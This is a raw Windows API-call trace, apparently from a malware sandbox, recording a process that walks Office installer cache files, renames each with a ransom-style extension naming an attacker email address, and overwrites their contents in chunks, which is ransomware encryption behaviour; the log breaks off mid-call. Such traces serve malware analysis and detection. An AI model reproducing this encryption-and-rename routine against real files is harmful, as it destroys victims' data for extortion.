lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.765] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.765] lstrlenW (lpString=".doc") returned 4 [0052.766] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.766] lstrlenW (lpString=".docx") returned 5 [0052.766] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.766] lstrlenW (lpString=".pdf") returned 4 [0052.766] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.766] lstrlenW (lpString=".xls") returned 4 [0052.766] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.766] lstrlenW (lpString=".xlsx") returned 5 [0052.766] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.766] lstrlenW (lpString=".ppt") returned 4 [0052.766] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.766] lstrlenW (lpString=".zip") returned 4 [0052.766] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.766] lstrlenW (lpString=".rar") returned 4 [0052.766] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.766] lstrlenW (lpString=".bz2") returned 4 [0052.766] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.766] lstrlenW (lpString=".7z") returned 3 [0052.766] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.766] lstrlenW (lpString=".dbf") returned 4 [0052.766] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.766] lstrlenW (lpString=".1cd") returned 4 [0052.766] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.766] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0052.766] lstrlenW (lpString=".jpg") returned 4 [0052.766] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.766] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0052.766] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0052.767] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.768] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2511872) returned 1 [0052.768] CloseHandle (hObject=0x204) returned 1 [0052.768] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0052.768] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.768] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0052.769] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0052.769] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0x0) returned 1 [0052.769] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.769] ReadFile (in: hFile=0x204, lpBuffer=0x3ec0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ec0058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.789] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.789] ReadFile (in: hFile=0x204, lpBuffer=0x3f00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f00058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.804] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.804] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0052.804] ReadFile (in: hFile=0x204, lpBuffer=0x3f40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f40058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.284] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.284] WriteFile (in: hFile=0x204, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x33cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0053.552] SetEndOfFile (hFile=0x204) returned 1 [0053.552] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40f5508 [0053.556] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0053.556] WriteFile (in: hFile=0x204, lpBuffer=0x40f5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40f5508*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.558] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0053.558] WriteFile (in: hFile=0x204, lpBuffer=0x40f5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40f5508*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.563] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0053.563] WriteFile (in: hFile=0x204, lpBuffer=0x40f5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40f5508*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0053.566] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40f5508 | out: hHeap=0x6c0000) returned 1 [0053.566] CloseHandle (hObject=0x204) returned 1 [0053.566] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0053.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.567] lstrlenW (lpString=".doc") returned 4 [0053.567] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0053.567] lstrlenW (lpString=".docx") returned 5 [0053.567] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0053.567] lstrlenW (lpString=".pdf") returned 4 [0053.567] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0053.567] lstrlenW (lpString=".xls") returned 4 [0053.567] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0053.567] lstrlenW (lpString=".xlsx") returned 5 [0053.567] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0053.567] lstrlenW (lpString=".ppt") returned 4 [0053.567] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0053.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.567] lstrlenW (lpString=".zip") returned 4 [0053.567] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0053.567] lstrlenW (lpString=".rar") returned 4 [0053.567] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0053.567] lstrlenW (lpString=".bz2") returned 4 [0053.567] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0053.567] lstrlenW (lpString=".7z") returned 3 [0053.567] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0053.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.567] lstrlenW (lpString=".dbf") returned 4 [0053.567] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0053.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.567] lstrlenW (lpString=".1cd") returned 4 [0053.567] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0053.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.568] lstrlenW (lpString=".jpg") returned 4 [0053.568] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0053.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.568] lstrlenW (lpString=".doc") returned 4 [0053.568] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0053.568] lstrlenW (lpString=".docx") returned 5 [0053.568] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0053.568] lstrlenW (lpString=".pdf") returned 4 [0053.568] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0053.568] lstrlenW (lpString=".xls") returned 4 [0053.568] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0053.568] lstrlenW (lpString=".xlsx") returned 5 [0053.568] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0053.568] lstrlenW (lpString=".ppt") returned 4 [0053.568] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0053.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.568] lstrlenW (lpString=".zip") returned 4 [0053.568] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0053.568] lstrlenW (lpString=".rar") returned 4 [0053.568] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0053.568] lstrlenW (lpString=".bz2") returned 4 [0053.568] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0053.568] lstrlenW (lpString=".7z") returned 3 [0053.568] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0053.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.568] lstrlenW (lpString=".dbf") returned 4 [0053.568] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0053.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.568] lstrlenW (lpString=".1cd") returned 4 [0053.568] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0053.568] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0053.568] lstrlenW (lpString=".jpg") returned 4 [0053.568] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0053.569] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0053.569] lstrlenW (lpString="GrooveMUI.msi") returned 13 [0053.569] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.569] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=2507776) returned 1 [0053.569] CloseHandle (hObject=0x204) returned 1 [0053.569] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi")) returned 0x2020 [0053.569] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0053.569] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0053.570] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0053.570] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0x0) returned 1 [0053.570] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0053.570] ReadFile (in: hFile=0x204, lpBuffer=0x3ec0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ec0058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.776] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0053.776] ReadFile (in: hFile=0x204, lpBuffer=0x3f00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f00058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.784] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0053.784] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0053.784] ReadFile (in: hFile=0x204, lpBuffer=0x3f40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3f40058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0053.799] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0053.799] WriteFile (in: hFile=0x204, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x33cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x33cfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0053.817] SetEndOfFile (hFile=0x204) returned 1 [0053.817] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40a54f8 [0053.820] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0053.820] WriteFile (in: hFile=0x204, lpBuffer=0x40a54f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40a54f8*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.099] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xcc155, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0054.099] WriteFile (in: hFile=0x204, lpBuffer=0x40a54f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40a54f8*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.105] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x224400, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0054.105] WriteFile (in: hFile=0x204, lpBuffer=0x40a54f8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x40a54f8*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.108] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40a54f8 | out: hHeap=0x6c0000) returned 1 [0054.121] CloseHandle (hObject=0x204) returned 1 [0054.122] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0054.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0054.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0054.122] lstrlenW (lpString=".doc") returned 4 [0054.122] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.122] lstrlenW (lpString=".docx") returned 5 [0054.122] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0054.122] lstrlenW (lpString=".pdf") returned 4 [0054.122] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.122] lstrlenW (lpString=".xls") returned 4 [0054.122] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.122] lstrlenW (lpString=".xlsx") returned 5 [0054.122] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0054.122] lstrlenW (lpString=".ppt") returned 4 [0054.122] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0054.122] lstrlenW (lpString=".zip") returned 4 [0054.122] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.122] lstrlenW (lpString=".rar") returned 4 [0054.122] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.122] lstrlenW (lpString=".bz2") returned 4 [0054.122] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.122] lstrlenW (lpString=".7z") returned 3 [0054.122] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0054.122] lstrlenW (lpString=".dbf") returned 4 [0054.122] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0054.122] lstrlenW (lpString=".1cd") returned 4 [0054.123] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0054.123] lstrlenW (lpString=".jpg") returned 4 [0054.123] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0054.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0054.123] lstrlenW (lpString=".doc") returned 4 [0054.123] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0054.123] lstrlenW (lpString=".docx") returned 5 [0054.123] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0054.123] lstrlenW (lpString=".pdf") returned 4 [0054.123] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0054.123] lstrlenW (lpString=".xls") returned 4 [0054.123] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0054.123] lstrlenW (lpString=".xlsx") returned 5 [0054.123] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0054.123] lstrlenW (lpString=".ppt") returned 4 [0054.123] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0054.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0054.123] lstrlenW (lpString=".zip") returned 4 [0054.123] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0054.123] lstrlenW (lpString=".rar") returned 4 [0054.123] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0054.123] lstrlenW (lpString=".bz2") returned 4 [0054.123] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0054.123] lstrlenW (lpString=".7z") returned 3 [0054.123] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0054.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0054.123] lstrlenW (lpString=".dbf") returned 4 [0054.123] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0054.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0054.123] lstrlenW (lpString=".1cd") returned 4 [0054.123] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0054.123] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 76 [0054.123] lstrlenW (lpString=".jpg") returned 4 [0054.123] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0054.124] lstrcmpiW (lpString1=".manifest", lpString2=".wiki") returned -1 [0054.124] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0054.124] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.546] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1857) returned 1 [0054.546] CloseHandle (hObject=0x1f4) returned 1 [0054.546] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0054.546] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.546] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.546] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.546] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.546] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all 